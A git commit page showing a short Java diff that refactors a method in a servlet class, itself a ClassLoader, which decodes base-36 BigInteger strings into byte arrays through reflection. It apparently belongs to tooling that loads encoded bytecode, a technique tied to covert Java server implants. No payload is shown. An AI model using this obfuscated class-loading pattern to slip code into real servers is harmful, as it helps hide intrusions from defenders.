feat: support ScriptEngineBigInteger

This commit is contained in:
Wans
2025-08-28 10:18:20 +08:00
committed by ReaJason
parent 02b2288a42
commit 8c3fad5c2d
12 changed files with 94 additions and 30 deletions
@@ -31,9 +31,7 @@ public class BigIntegerClassLaoderServlet extends ClassLoader implements Servlet
static byte[] decodeBigInteger(String bigIntegerStr) throws Exception {
Class<?> decoderClass = Class.forName("java.math.BigInteger");
java.lang.reflect.Constructor<?> ctor = decoderClass.getConstructor(String.class, int.class);
Object bigInt = ctor.newInstance(bigIntegerStr, 36);
return (byte[]) decoderClass.getMethod("toByteArray").invoke(bigInt);
return (byte[]) decoderClass.getMethod("toByteArray").invoke(decoderClass.getConstructor(String.class, int.class).newInstance(bigIntegerStr, Character.MAX_RADIX));
}
@Override